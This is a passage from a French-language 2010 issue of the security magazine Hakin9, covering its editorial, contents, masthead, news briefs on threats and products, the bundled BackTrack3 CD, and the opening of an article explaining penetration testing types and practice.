Audit de sécurité au service des entreprises Aujourd'hui, presque plus personne n'est à l'abri des e-menaces : attaques malveillantes, phishing ou spam. En effet, les attaques sont de plus en plus „sophistiquées” et très difficiles à détecter. Pour mieux prévenir ces menaces, il est nécessaire de ne pas y aller de main morte. Ceux qui souhaitent apprendre à mieux protéger leur système d'information s'aideront de notre dossier sur l'Audit de sécurité. En effet, dans ce numéro, nous nous concentrerons sur les Tests de pénétration. Grâce à l'article de Régis Senet Tests de pénétration système, vous apprendrez ce qu'est un test d'intrusion, sa procédure et son déroulement. L'article intitulé Test de pénétration – organisation du projet vous expliquera comment vous préparer et mener un projet de tests de pénétration au sein de votre entreprise. L'auteur de cet article vous présentera quelques méthodologies et vous aidera à choisir celle appropriée à votre société. Dans la section Pratique, nous vous recommandons l'article sur les réseaux WiFi mal sécurisés. L'article Intrusion et exploitation d'un réseau mal sécurisé vous expliquera le fontionnement du WEP et ses faiblesses ; les particuliers comme les entreprises font souvent appel à des points d'accès WiFi. Or, le protocole de chiffrement WEP (41% des box en possèdent) présente plusieurs failles. Vu la popularité grandissante des sujets liés à la sécurité des réseaux et du Web, nous avons créé, pour nos lecteurs, une nouvelle rubrique : Sécurité Réseaux. Dorénavant, vous trouverez dans chaque numéro de Hakin9, un article consacré à cette thématique. Cette fois-ci, l'article est dédié à la sécurisation des applications Web. L'auteur de l'article Sécuriser les applications Web présentera les moyens techniques à mettre en place pour sécuriser efficacement les applications web. Vous trouverez également quelques bonnes pratiques à ne pas manquer dont le filtrage des attaques web. Bonne lecture à tous, Aneta Mazur [email protected]
3/2010 HAKIN9
03______wstepniak.indd 3
3
2010-03-11, 12:19:16
SOMMAIRE DOSSIER 12
Mécanisme de Sécurité
ATTAQUE 34
RÉGIS SENET De nos jours, avec l’explosion relativement récente des réseaux 3G, les besoins en termes de connectivité en environnement professionnel sont constants. Les nouveaux smartphones professionnels tels que l’iPhone d’Apple ou encore le Blackberry de RIM offrent de puissantes fonctionnalités permettant aux professionnels nomades de rester connecté à leurs emails, calendriers, intranets et autres outils du quotidien ainsi qu’aux utilisateurs classique. Toutefois, si ces terminaux ne sont pas déployés et gérés correctement, ils peuvent présenter des risques significatifs en matière de sécurité.
16
Mécanisme de Sécurité sous Android
ERIC BEAULIEU L'une des étapes la plus longue, mais peut être la plus intéressante, durant un test d'intrusion, est l'exploitation des vulnérabilités découvertes. Celleci, réalisée traditionnellement après la découverte du périmètre et des hôtes qui le composent et le plus souvent soumise à accord du client. Dans cet article, nous allons donc voir comment gagner du temps en automatisant l'exploitation de vulnérabilités découvertes lors de l'analyse du réseau. Certains lecteurs n'apprendront rien dans cet article, mais d'autre y découvriront peut-être comment installer et faire interagir ces outils.
42
BABACI NABIL
20
Restaurer les symboles de débogage à partir de binaires compilés statiquement JUSTIN SUNWOO KIM La restauration des symboles de débogage est primordiale pour mieux appréhender les problèmes spécifiques aux fichiers binaires strippés. La méthode exposée dans le présent article peut être réutilisée dans d'autres champs d'étude.
Remote download exécution avec java : utilisation et protection CHRISTOPHE B. AKA T0FX La plate-forme Java fut l’un des premiers systèmes à offrir le support de l’exécution du code à partir de sources distantes. Un applet peut fonctionner dans le navigateur web d’un utilisateur, exécutant du code téléchargé depuis un serveur HTTP. Le code d’une applet fonctionne dans un espace très restrictif, ce qui protège l’utilisateur des codes erronés ou mal intentionnés. Cet espace est délimité par un objet appelé gestionnaire de sécurité. Un tel objet existe aussi pour du code local, mais il est alors par défaut inactif.
Faire du développement Open-Source devient de plus en plus tendance, surtout si nous pouvons profiter à la fois de services qui ont fait leurs preuves dans ce domaine comme le fait si bien Google. Nouveau sur le marché des OS embarqués pour les smartphones, Android propose toute une panoplie de services centrés utilisateur mais offre aussi une plateforme de développement alliant puissance et simplicité, offrant les mécanismes de sécurité les plus récents et des plus faciles simple à mettre en oeuvre.
FOCUS
Automatiser l'exploitation de vulnérabilité lors d'un test d'intrusion
PRATIQUE 48
Windows FE Live CD d'investigation informatique Windows-PE MARC REMMERT Au cours de l'année 2008, des rumeurs ont circulé sur la distribution d'un Live CD Microsoft Windows FE. Sur Internet tous les types de sujets étaient abordés dont celui de la sécurité et de l'investigation informatique, pourtant ce CD Windows n'a pas connu un franc succès.
4 HAKIN9 1/2010
04_05_SPIS_TRESCI.indd 4
2010-01-12, 13:53:24
SOMMAIRE 60
VARIA
La sécurité des réseaux bluetooth RÉGIS SENET Bluetooth est une spécification de l'industrie des télécommunications. Elle utilise une technologie radio courte distance destinée à simplifier les connexions entre les appareils électroniques. Elle a été conçue dans le but de remplacer les câbles entre les ordinateurs et les imprimantes, les scanners, les claviers, les souris, les manettes de jeu vidéo, les téléphones portables, les PDA, les systèmes et kits mains libres, les autoradios, les appareils photo numériques, les lecteurs de code-barres, les bornes publicitaires interactives.
06
En bref NICOLAS HILY Vous trouverez ici les nouvelles du monde de la sécurité des systèmes informatiques.
10
Sur le CD-ROM Nous vous présentons le contenu et le mode de fonctionnement de la version récente de notre principale distribution hakin9. Et les applications commerciales
Le bimestriel hakin9 est publié par Software Press Sp. z o. o. SK
TECHNIQUE 64
LA RAM : Une vulnérabilité avérée des FDE JÉRÔME BISE Les systèmes de chiffrement de disque à la volé (FDE, on the Fly Disk Encryption) sont des logiciels permettant d'assurer la confidentialité des données. Ces systèmes permettent de chiffrer/déchiffrer les données d'un disque dur (ou d'un conteneur) lorsque l'on y accède. Ils sont complètement transparents pour les utilisateurs (excepté la saisie d’un mot de passe). L'utilisation de FDE est aujourd'hui de plus en plus courante, que ce soit par des entreprises ou des particuliers pour assurer la confidentialité des données. A cause de plusieurs méprises dans le procès de production dans notre magazine l'article « La RAM: une vulnérabilité avérée des disques chiffrés » de notre auteur Jérome Bise a été publié avec plusieurs erreurs. Dans cette issue nous publions la version corrigée par l'auteur. Nous prions l'auteur et ses collaborateurs de bien vouloir accepter nos sincères excuses.
72
L'argent sales des cyber-criminels GUILLAUME LOVET Arnaqueurs, phishers, bot herders, spammeurs, extorqueurs en-ligne, voleurs d’identité... Leurs noms semblent obscurs mais leurs intentions ne le sont pas : ils sont tous là pour voler notre argent.
Président de Software Press Sp. z o. o. SK: Paweł Marciniak Directrice de la publication: Ewa Lozowicka Redacteur en chef: Jakub Borowski [email protected] Fabrication: Andrzej Kuca [email protected] DTP : Graphics & Design Marcin Ziółkowski www.gdstudio.pl Couverture : Agnieszka Marchocka Couverture CD : Przemyslaw Banasiewicz Publicité : [email protected] Abonnement : [email protected] Diffusion : Ilona Lepieszka [email protected] Dépôt légal : à parution ISSN : 1731-7037 Distribution : MLP Parc d’activités de Chesnes, 55 bd de la Noirée BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX (c) 2009 Software Press Sp. z o. o. SK, tous les droits réservés Béta-testeurs : Didier Sicchia, Pierre Louvet, Anthony Marchetti, Régis Senet, Paul Amar, Julien Smyczynski Les personnes intéressées par la coopération sont invitées à nous contacter : [email protected] Préparation du CD : Rafal Kwaśny Imprimerie, photogravure : ArtDruk www.artdruk.com Adresse de correspondance : Software Press Sp. z o. o. SK Bokserska 1, 02-682 Varsovie, Pologne Tél. +48 22 427 32 87, Fax. +48 22 244 24 59 www.hakin9.org Abonnement (France métropolitaine, DOM/TOM) : 1 an (soit 6 numéros) 35 € La rédaction fait tout son possible pour s’assurer que les logiciels sont à jour, elle décline toute responsabilité pour leur utilisation. Elle ne fournit pas de support technique lié à l’installation ou l’utilisation des logiciels enregistrés sur le CD-ROM. Tous les logos et marques déposés sont la propriété de leurs propriétaires respectifs. Le CD-ROM joint au magazine a été testé avec AntiVirenKit de la société G Data Software Sp. z o.o. AVERTISSEMENT Les techniques présentées dans les articles ne peuvent être utilisées qu’au sein des réseaux internes. La rédaction du magazine n’est pas responsable de l’utilisation incorrecte des techniques présentées. L’utilisation des techniques présentées peut provoquer la perte des données !
1/2010 HAKIN9
04_05_SPIS_TRESCI.indd 5
5
2010-01-12, 13:53:37
EN BREF WALLIX S’IMPLANTE EN GRANDE BRETAGNE
Wallix, éditeur européen de logiciels de sécurité informatique pour la gestion des identités et des accès (l’IAM) lance ses activités au Royaume-Uni et ouvre un bureau à Reading (Comté de Berkshire). WALLIX est le leader français des logiciels de sécurité informatique pour la gestion des infrastructures informatiques critiques. L’éditeur répond aux besoins de gestion des accès et de traçabilité avec une approche simple et économique, sans installation d’agents spécifiques sur les équipements et sans contraintes de déploiement dans le système d’information du client. Poursuivant sa stratégie de développement sur les marchés européens, WALLIX a choisi de déployer au Royaume-Uni son offre "Wallix Admin Bastion", le WAB, solution innovante en matière de sécurisation des systèmes d’information qui combine la gestion des identités, le contrôle des accès et la traçabilité des opérations informatiques. Pour plus d'informations : www.wallix.com
COMMUNITY SANS À NICE, LE 21-26 JUIN SANS vient en France pour offrir l'un de ses cours les plus demandés, SEC503: Détection d'Intrusion Informatique, pour la première fois enseigné en français L'emphase de ce cours porte sur une bonne compréhension du fonctionnement TCP/IP, des méthodes d'analyse de trafic réseau, et d’un système de détection d'intrusion (NIDS) - Snort. Ce n'est pas une comparaison ou la démonstration de multiples NIDS. Nous fournissons plutôt une connaissance qui permet aux élèves de mieux comprendre les qualités qui vont les aider à déterminer un bon NIDS/NIPS, les différentes technologies
qui existent, pour être mieux équipés afin de faire le choix le plus judicieux qui satisfera les besoins spécifiques de votre entreprise. Ce cours est rapide, et afin de bien comprendre les sujets qui seront discutés, on s'attend à ce que les étudiants aient une connaissance de base du protocole TCP/IP. Bien que d'autres puissent également bénéficier de son contenu, ce cours a été conçu pour les étudiants qui sont ou qui deviendront des analystes de détection d'intrusion. Pour s'inscrire et plus de détails: http: //www.sans.org/info/55893
LES FAILLES DE CHROMIUM À 1 337 DOLLARS Google fait appel aux développeurs pour mettre au jour les failles de Chrome. La chasse aux bugs est ouverte dans tous les pays du monde. Celui qui découvrira le bug de Chromium en premier, aura la récompense. Les récompenses iront de 500 à 1 337 dollars. Celle dernière est réservée pour les failles dangeureuses. Google déterminera quelles sont les failles éligibles ou non. En même temps, Google prévient que les problèmes de sécurité liés aux plug-in développés par des éditeurs tiers ne seront pas pris en compte.
UNE ATTAQUE DE PHISHING CHEZ PAYPAL L'arnaque a eu lieu le vendredi 9 janvier 2010 et il a été particulièrement bien préparée.. A ce moment là certains utilisateurs ont reçu un courriel prétendument envoyé par PayPal. L'email demandait aux utilisateurs de mettre à jour le contrat qui les liaient au système de paiement électronique. Ce courrier venait d'un pirate désirant récupérer les identifiants (login et mot de passe) des comptes utilisateurs et pas du site eBay.
FAILLE DE LA TOUCHE F1.
OFFICE 2010
Microsoft vient de confirmer qu'une faille de la touche F1 existe et concerne toutes les versions de son navigateur Internet : celles qui tournent sous Windows 2000, XP, et Server 2003. Sauf Windows 7, Vista, et Server 2008 qui en sont épargnés. Le piège consite en création d' une boîte de dialogue par un site malveillant, demandant à l'internaute d'appuyer sur la touche F1. Attention ! Vous pourriez ainsi donner l'accès aux pirates à votre machine. « Cette faille est liée à l'interaction de VBScript avec les fichiers d'aide de Windows quand on utilise Internet Explorer », peut-on lire dans une alerte de sécurité émise sur Microsoft TechNet . Pour l'instant, il n'y pas de patch diponible.
Microsoft lance en juin une nouvelle version d'Office 2010. Trois éditions distinctes seront disponibles : • • •
Office Famille et Etudiant 2010 Office Famille et Petite Entreprise 2010 Office Professionnel 2010.
L'édition Professionnel, la plus complète, comprend, hors de logiciels de base (Word, Excel, PowerPoint, OneNote et Outlook) les logiciels Access et Publisher. Toutes les trois éditions seront vendues sous deux formats : boîtes (avec disque d'installation) et carte d'activation (soit une version OEM vendue avec un PC neuf) sans disque d'installation.
6 HAKIN9 3/2010
06_07___news.indd 6
2010-03-10, 15:47:05
NEWS
Pour le format boîte, les prix TTC moyens balancent entre 139 euros pour Office Famille et Etudiant jusqu'à 699 euros pour l'édition Professionnel. Les prix pour les versions carte d'activation sont inférieurs (entre 109 et 499 euros) mais contrairement aux éditions boîtes, ne permettent pas l'installation sur plusieurs postes.
IPAD EN FRANCE Le terminal lancé aux Etats-Unis le 3 avril vient de débarquer en Europe. Presqu' un mois après l'apparution aux Etats Unis, iPad arrive aussi en Australie, au Canada, en Allemagne, en Italie, au Japon, en Espagne, en Suisse et au Royaume-Uni. Avec un design similaire à l'iPhone grand format, l'iPad possède un écran 9,7 pouces tactile capacitif (1024x768), et d'un processeur SoC Apple (développé par PA Semi) cadencé à 1GHz. Apple jure la capacité de son appareil pour 10 heures en usage et 1 mois en veille. Il est possible de synchroniser son iPad avec iTunes via un câble USB pour le relier à un ordinateur. Ayant pour objectif de se présenter comme un livre électronique à part entière, l'iPad comprend une application iBooks permettant une lecture entièrement contrôlée avec les doigts. Selon les sondages francais 73% des internautes ayant entendu parler de l'appareil se disent prêts à acheter l'iPad (parmi les possesseurs de produits Apple il s'agit de 96%).
TWITTER – PROTÉCTION RENFORCÉE Twitter veut protéger ses abonnés contre tout risque d'usurpation de leur compte en interdisant la création de mot de passe jugés trop simples. Pour le faire il a créé une liste noire de 370 mots de passe dont beaucoup sont de prénoms, des marques de voiture, des noms de villes, des mots grossiers... Ce que provoque les questions c'est le fait que l'origine et les critères qui ont présidé à son élaboration restent inconnus. Pourtant, si elle provient d'une analyse systématique
de chaque mot de passe tapé sur Twitter, les internautes devraient profiter de cette information et changer leurs mots de passe aussi dans les autres services.
UNE CENSURE CROISSANTE DANS L'INTERNET Dans le rapport annuel des Reporters sans frontières se montre un constat inquiétant: les blogueurs et les sites internet sont de plus en plus nombreux à être touchés par la censure et la répression avec plus de 155 % par rapport à 2008.
INTERNET PARMI LES DROITS DE L'HOMME? Près de 80 % des adultes dans le monde estiment que l’accès à internet est un droit humain fondamental. Un peu moins de la moitié affirme ne pas pouvoir se passer d’internet malgré quelques inquiétudes sur la sécurité du Web.
RAPPORT MENSUEL DES MENACES IDENTIFIÉES PAR ESET EN FRANCE ET EN EUROPE Février 2010 •
•
L’infection des médias amovibles est la principale menace constatée en France Les joueurs en ligne sont toujours menacés par Win32/PSW. OnlineGames
En modifiant le contenu d’un média amovible, le virus INF/Autorun demeure
la plus fréquente menace constatée en France. Ce ver exploite la fonction de démarrage automatique qui s’applique généralement au chargement d’un CD contenant un programme exécutable. En infectant plus généralement des clés USB, ce virus s’exécute sur l’ordinateur dès l’insertion du média au lieu du programme souhaité. Au cours du mois de février 2010, INF/Autorun a représenté 7,85% des menaces. À la seconde place, Win32/ PSW. OnlineGames continue de perturber les joueurs en ligne en atteignant le taux de 6,22%. Il reste la référence des chevaux de Troie dans le domaine des jeux en ligne commercialisés principalement sur le marché noir. Le virus Win32/Mabezat vient en troisième position avec un taux de 4,08%, laissant le fameux Win32/ Conficker prendre la quatrième place des menaces constatées en France en février 2010. Exploitant une faille de l’OS Windows Server de Microsoft, Win32/Conficker affiche un score de 3,07%. À l’évidence, les mises à jour régulières de sécurité, proposées par Microsoft, s’imposent. À noter que ce virus apparaît en tête en Europe avec un taux de 9,62%. Quant au virus Win32/Agent, il se positionne à la cinquième place avec un taux de 2% en France et de 3,57% en Europe. Il continue de progresser mois après mois en approchant le niveau qu’il avait atteint pendant l’été 2009. ESET considère cette menace comme une forme de ver malicieux entrant dans la catégorie des PC data stealer, c’est à dire le piratage de données. 3/2010 HAKIN9
06_07___news.indd 7
7
2010-03-10, 15:47:13
EN BREF HADOPI Le ministre de la Culture Frédéric Mitterrand a confirmé que Hadopi - la haute autorité pour la diffusion des oeuvres et la protection des droits sur Internet, a enfin commencé à fonctionner. Le temps de l'envoi des premiers avertissements aux quelques téléchargeurs qui passeront dans les filets d'Hadopi au printemps, au pire en juillet 2010 - n'a pas été annoncé qu'en janvier 2010. Le dernier obstacle pour que l’Hadopi ait la voie totalement libre est l'opinion de la CNIL sans lequel le décret dont a besoin l'autorité pour être efficace ne peut pas être publié. La CNIL a déja retardé la mise en travail d' Hadopi en exigeant d'obtenir un projet de décret concernant la procedure de sanction appliquée aux téléchargeurs. Mais à part de ces difficultés, cette autorité est désormais prête à commencer son travail.
professionnels ont été sécurisés par WPA, pendant qu'aujourd'hui leur nombre atteint 72%.
FLASH DANS L'IPHONE ? Selon AppleInsider, Apple planifie en 2010 d' obtenir quelques dizaines de millions de flash à base de LED. La technologie Luxeon LED de Philips limiterait peut-être l'intérêt des applications de lampe de poche disponibles en grand nombre sur l'App Store. Son avantage principale est la possibilité d'un éclairage continu en prenant de vidéos en situation d'éclairage faible. Jusqu'à présent l'absence de flash était le désavantage de l'iPhone marqué le plus souvent depuis son apparance. Il est possible qu'avec la prochaine version de son produit la firme de Cupertino surpassera sa concurrence: Droid/ Milestone, le Pré ou le Nexus.
RAPPORT DES MENACES WIFI EN SÉCURITÉ L'état de la sécurisation des points d'accès est loin d'être satisfaisante, notamment dans le grand public – alarme la société WeFi, agrégateur de points d'accès WiFi. Selon ses études 25% des réseaux européens sont protégés par aucun mot de passe, ce qui veut dire qu'un utilisateur sur quatre ne prend pas la peine de crypter son accès (clé WEP et WPA.) Ce résultat est inquiètant en tenant compte que le WiFi est aujourd'hui presque partout utilisé personnellement ou professionnellement. La société WiFi a constaté que les réseaux les plus sécurisés se trouvent en Allemagne et en Espagne (90% des réseaux sécurisés), la France a le résultat de 80% de sécurisation. C'est donc au-dessus de la moyenne européenne. La situation en Europe se présente quand même mieux qu'aux États-Unis, où 40% des réseaux WiFi ne sont pas protégés. Dans le domaine des réseaux WiFi professionnels, la tendance est assez similaire. Selon une étude de RSA, en 2004 à Paris 68% des points d'accès
La communauté de jeu en France est toujours menacée par de gros volumes de Troyens Win32/PSW.OnlineGames. Comme l'a montré ESET ThreatSense.Net ®, le système statistique d'analyse de données relatives aux malwares, ce type de menace représente une part de 8,87% de tous les logiciels malveillants détectés en France. En volant des données d'authentification pour les jeux en ligne, Win32/PSW.OnlineGames est
un outil qui permet aux cybercriminels de monétiser leurs efforts sur le marché noir. Le dernier mois de l'année 2009 voit INF/Autorun une fois encore à la deuxième position. Ce type de menace modifie le fichier autorun.inf enregistré sur les supports amovibles, permettant ainsi d’exécuter des applications, nuisibles lors de l'insertion des médias dans l'ordinateur. Suivant dans le classement, Win32/Mabezat, un cheval de Troie ciblant les sites web en langue arabe. En Décembre, il a représenté 5,56% de tous les logiciels malveillants, rapportés par ESET ThreatSense.Net ®. Win32/Conficker est un autre habitué des statistiques de menaces françaises. Avec 4,78%, le ver occupe la quatrième position. Le top 5 se conclut avec Win32/Sality. Contrairement à la plupart des logiciels malveillants – constitués habituellement d'un seul code malveillant - Win32/Sality est un corrupteur de fichiers, qui implique le nettoyage des fichiers infectés. Au mois de Décembre, ce virus a représenté 3,10% de toutes les détections. Principales menaces d'ordinateurs en France selon ESET ThreatSense.Net® (décembre 2009)
ORDIANTEUR SANS CLAVIER ? MSI présente des prototypes d'ordinateurs portables où le clavier a été remplacé par un second écran.
8 HAKIN9 2/2010
06_07_____NEWS_FR.indd 8
2010-03-11, 12:43:16
NEWS
prévoit lobtention d'une 'autorisation afin de pouvoir diffuser les images animées sur la Toile. On peut se demander si toute vidéo diffusée sur Internet devra obenir un droit de diffusion. Vraisemblablement, la mesure va être concerner les Web TV et sites de journaux. L'opposition italienne ne cesse pas de crier au scandale en évoquant l'argument de l'atteinte à la liberté d'expression sur le Web.
UNE PANNE GIGANTESQUE DANS 10 ANS ?
MSI propose des ordinateurs portables sans clavier. En effet, toutes les fonctionnalités du claiver s repris un second écran qui peut se transformer en clavier tactile. Voici quelques usages : • • •
en tant que portable tablette de dessin e-book
MSI expose sur son stand également le Jellow, un autre prototype d’ordinateu. Doté d’un écran Full HD de 23 pouces, le Jellow embarque un clavie caché derrière cet écran. La souris pourra servir de télécommande, ou de téléphone. Reste à savoir si le constructeur envisagera de commercialiser ce produit.
MISSION DE ZELNIK En septembre 2009, la commission Zelnik a reçu la mission de compléter les mresures prévues par la loi Hadopi. L'idée est de mettre en place une taxte sur les revenus de la publicité en ligne en visant notamment les géants : Google, Microsoft et Yahoo. Comme on pouvait s'en douter, la mission de Zelnik suscite des réactions offusquées de la part des fournisseurs de services, visés par Nicolas Sarkozy qu'il juge coupables de favoriser une évasion fiscale .
L'ENCYCLOPÉDIE À 7,5 MILLIONS DE DOLLARS 7,5 millions de dollars, c’est la somme record que l’encyclopédie en ligne Wikipédia a perçue en 2009. Constituée de dons faits de la part de lecteurs au site, cette somme va permettre de financer le site sans publicité en 2010. Jimmy Wales, fondateur de Wikipédia l'explique ce phénomème en quelques mots : < Wikipédia n’est pas financée par la publicité, mais par vous. Wikipédia est le cinquième site Web le plus visité au monde, et vos dons financent nos serveurs et nos quelques employés. Vos dons permettent de conserver Wikipédia libre d’accès et sans publicité. Vos dons permettent d’offrir un accès libre à la connaissance aux quatre coins du monde>. L’encyclopédie libre et gratuite a réuni la somme de 7,5 millions de dollars en seulement huit semaines. Avec les statistiques très promettants : 250 millions de visiteurs par mois et 14 millions d’articles dans 270 langues, Wikipédia est le cinquième site le plus visité au monde ! Il est le seul dans le haut du classement qui ne propose aucune publicité à ses utilisateurs, et il ne fonctionne que grâce à ces campagnes de dons. Vidéo en Italie sous contrôle A partir du 27 janvier 2010, un décret
Les consoles de jeux vidéo risquent de nous coûter cher dans 10 ans. Comme l'informe le cabinet Sia Conseil, les consoles pourront consommer de plus en plus d'électricité. En se basant sur les études du cabinet de conseil Sia, en 2020, les consoles de jeux vidéo seraient tellement sollicitées que la consommation d'électricité annuelle en France pourrait dépasser les 700 gigawatt-heure (GWh). Cela représenterait la consommation annuelle d'une ville telle que Nice.
Que faire ? Changeons nos habitudes ! Cetaines consoles de jeux vidéo sont régulièrement épinglées comme Nintendo par Greenpeace. Quant à Wii, elle est moins gourmande en électricité. Certaines régions (par exemple Bretagne et Provence entre autres) sont davantage exposées à ce risuqe. En effet, ces consoles pourraient ébranler des systèmes électriques vulnérables lorsqu'elles seraient utilisées en même temps qu'autres appareils (télévisions évidemment, ordinateurs...). Une inquiétante prévision de l'Agence internationale de l'énergie, qui s'attend à ce que la consommation de toutes ces machines triple d'ici 2030 à 1 700 térawatt-heure (Twh).Il est tepms d'y penser sérieusement, car c'est l'équivalent de la consommation actuelle des ménages américains et japonais
2/2010 HAKIN9
06_07_____NEWS_FR.indd 9
9
2010-03-11, 12:43:26
SUR LE CD CD-ROM – HAKIN9.LIVE BACKTRACK3 Ce numéro du magazine hakin9 est proposée avec hakin9.live (accompagnée du CD BackTrack3). Cette distribution est riche en applications et autres plugins. BackTrack3 est la distribution Linux live la plus pertinente dans le registre de la sécurité informatique. Sans aucune installation préalable, la plateforme d'analyse peut être directement démarrée à partir du CD-Rom et son contenu entièrement accessible en quelques minutes seulement. Outre les mises à jour et d'autres optimisations,
cette version de BackTrack3 hakin9.live contient également des éditions spéciales d'applications commerciales parmi les plus intéressantes du moment. Elles sont préparées exclusivement à l'attention toute particulière de nos lecteurs. Pour pouvoir utiliser BackTrack3 hakin9.live, il vous suffit de démarrer votre ordinateur à partir du CD. Pour pouvoir utiliser les applications commerciales fournies, inutile de démarrer votre ordinateur à partir du CD : vous les trouverez dans le dossier baptisé Applications.
Chaque paquet, configuration de noyau et script contenu dans BackTrack3 est optimisé de manière à être utilisé par les experts en audits de sécurité et de tests d'intrusion. Les patchs de correction et autres scripts automatiques ont été ajoutés, appliqués ou développés de manière à proposer un environnement agréable, intuitif et prêt à l'emploi. Les quelques nouvelles fonctionnalités de BackTrack3 sont présentées avec BackTrack3 hakin9.live. La fonctionnalité la plus importante est incontestablement l'utilisation du noyau 2.6. mis à jour à l'aide de plusieurs programmes de correction. Un support pour la carte sans fil Broadcom a également été rajouté et des pilotes WiFi ont été élaborés de manière à supporter les injections de paquets bruts. L'intégration du cadre d'application Metasploit2 et Metasploit3 est également disponible ainsi qu'un alignement permettant d'ouvrir des standards et des cadres d'applications tels que ISSAF et OSSTMM.
PDFCRACK PDFCrack est un petit outil Open Source (GNU/Linux) qui est destiné à craquer les mots de passe des documents PDF. Pour suivre pas à pas le craquage du mot de passe, il ne vous reste qu'à regarder la vidéo. Vous trouverez quelques conseils de protéction dans l'article d' Alexandre Lacan Sécurité des mots de passe dans les fichiers PDF.
10 HAKIN9 2/2010
08___opis_cd.indd 10
2010-03-11, 12:44:06
HAKIN9.LIVE
S’il vous est impossible de lire le CD. et que ce dernier n’est pas endommagé physiquement, essayez de lire dans au moins 2 lecteurs différents.
En cas de problème avec votre CD, envoyez-nous un message à l’adresse suivante : [email protected]
6/2008 HAKIN9
11_POD_CD_FR.indd 11
11
2010-03-10, 15:48:45
DOSSIER RÉGIS SENET
Test de pénétration système
Degré de difficulté
De nos jours, garder la sécurité du systeme d’information reste primordial pour les entreprises. Le présent article expliquera comment protéger son SI grâce aux tests de pénétration.
U
1. CET ARTICLE EXPLIQUE... Ce qu’est un test de pénétration Comment réaliser un test de pénétration Quel est l’intérêt de mettre en place un test de pénétration
CE QU'IL FAUT SAVOIR... Bases en sécurité informatique
n test de pénétration système, aussi appelé test d’intrusion ou encore régulièrement abrégé en pentest, est une méthode d'évaluation de la sécurité d'un système ou d'un réseau informatique durant un laps de temps déterminé. Ce(s) test(s) consiste(nt) à simuler l’attaque par un utilisateur mal intentionné ou par un logiciel malveillant. Sont alors analysés les risques potentiels dus à une mauvaise configuration d'un système, d'un défaut de programmation ou encore d'une vulnérabilité liée à une solution présente dans le système informatique cible. Lors d'un test d'intrusion, nous nous retrouvons donc dans la position de l'attaquant potentiel. Le principal but de cette manœuvre est de trouver des vulnérabilités exploitables en vue de proposer un plan d'actions permettant d'améliorer la sécurité d'un système. Il est important de faire la différence entre un test de pénétration système et un audit de sécurité. La différence entre les deux réside dans la motivation de la personne à aller jusqu'à l'exploitation des failles, montrant ainsi la vulnérabilité. L'exploitation n'a, bien sûr, pas pour but de détruire ou endommager le système, mais elle permettra de situer le degré du risque lui étant associé. Un audit de sécurité, quant à lui, est plus théorique qu’un pentest. Néanmoins, grâce à un audit de sécurité, l’architecture est auditée, ainsi que les méthodologies de sécurité mise en place,
relatives aux biens et aux personnes alors que cela n’est pas possible par un pentest. A l’inverse d’une réelle intrusion, un pentest, bien qu’assez libre, resté néanmoins encadré. La personne en charge de réaliser ce(s) test(s) se doit de signer un contrat avec l’entreprise accueillant le test. Ce contrat inclut des clauses de non-divulgation au cas où une faille serait détectée. Le prestataire s’engage également à prendre toutes les mesures nécessaires pour sécuriser les données des clients. Il existe de nombreux prestataires de services aptes à réaliser ce genre de test d’intrusion. Initialement appelés Hackers, ce nom fut petit à petit détourné par les internautes pour n’y voir que des pirates informatiques alors qu’initialement, il n’en est rien. Afin donc de bien faire la distinction entre le bon et le mauvais coté, un nouveau terme est apparu, il s’agit des Ethical Hackers. Comme indiqué précédemment, à la suite d’un pentest, un Ethical Hacker se doit de fournir un rapport de son activité. Ce rapport devra comporter l’ensemble des trouvailles du prestataire avec un indice de gravité des failles. Au cas où une faille critique serait trouvée durant le test de pénétration système, il est de bon ton que le prestataire s’arrête afin de prévenir l’entreprise demandeuse de service. Une fois le pentest terminé, l’auditeur rend son rapport aux responsables de son test de pénétration. Ce dernier doit obligatoirement être remis en format papier en main propre ou
12 HAKIN9 3/2010
pentest.indd 12
2010-03-10, 15:52:47
TEST DE PÉNÉTRATION SYSTÈME
encore, par voie informatique sécurisée. Il est nécessaire de se rappeler que les rapports sont strictement confidentiels. Le prestataire n’est pas dans l’obligation de réparer les failles qu’il aura décelées sauf si cette option a été ajoutée aux contrats.
Comment se déroule un test de pénétration système Différents test de pénétration système existent. Trois types de pentest diffèrent en raison des informations que connaîtra le prestataire de service à son début. L'analyse se réalise donc selon trois cas : BlackBox – Au cours de ce genre de test, l’Ethical Hacker se met réellement dans la peau d'un attaquant potentiel et ne possède aucune information sur le réseau ou sur les infrastructures de l’entreprise. Seule une connexion à internet lui est fournie et, de là, il doit tenter de récupérer le maximum d’informations par n’importe quelle méthode (Internet, Faille de sécurité sur les serveurs disponibles via le net, Social Engeniering, Phising, Reverse Engeniering, etc.). Il s’agit du type de pénétration système le plus demandé. Il existe deux types de BlackBox, un internet et un externe. Les BlackBox externes consistent à attaquer le système de l'entreprise "en aveugle", sans avoir aucune information sur le matériel informatique et leurs techniques de défense alors que les BlackBox internes se font au sein des locaux de l'entreprise. En effet, le système d'information peut être sécurisé de l’extérieur et, malgré tout, être vulnérable depuis l'intérieur. GreyBox – Au cours de ce genre de test, l’Ethical Hacker connaît un nombre limité d’informations. Il peut par exemple connaître l’adresse IP de l’ensemble des serveurs, le plan d’adressage ou encore les protocoles réseau utilisés au sein de l’entreprise. Ce genre de pentest est très intéressant car il permet de vérifier la sécurité des infrastructures depuis de l’intérieur (Les tests en GreyBox sont également appelés des Internal Testing). Une étude estime que 80% des attaques réseau et des actes de piratage proviennent de l’intérieur même de
l’entreprise, il est donc nécessaire de ne pas oublier ce genre de test. WhiteBox – Au cours de ce genre de test, l’Ethical Hacker connait l’ensemble des informations relatives à l’entreprise : du code source du site internet, au schéma de configurations des routeurs tout en passant pour le code source de l’application C++ leur servant de passerelle réseau. Ces tests sont les plus complets car ils allient les techniques des tests BlackBox en ajoutant des informations complémentaires. Ces tests sont également, en règle générale, les plus longs.
Qui est concerné par un test de pénétration système Aujourd’hui, quasiment personne n’est à l’abri des attaques en provenance d’internet. Les média parlent de plus en plus régulièrement de phishing, de spam etc. mais qu’en est-il vraiment de cette menace ? Les menaces internet sont en effet de moins en moins immédiatement détectables. Là où, il y a cinq ans, la majorité des menaces consistaientt à perturber visiblement l’utilisateur par un déni de service, la suppression de fichiers ou l’envoi en masse de courriers électroniques (spam), les nouvelles menaces hybrides apparues ces dernières années ont pour principal objectif de ne pas être détectées. Cela est dû au fait que les menaces internet sont aujourd’hui le fait de véritables organisations criminelles qui recherchent à tirer un bénéfice financier de leurs attaques. Selon une étude réalisée en 2006 par IBM ISS X-Force,
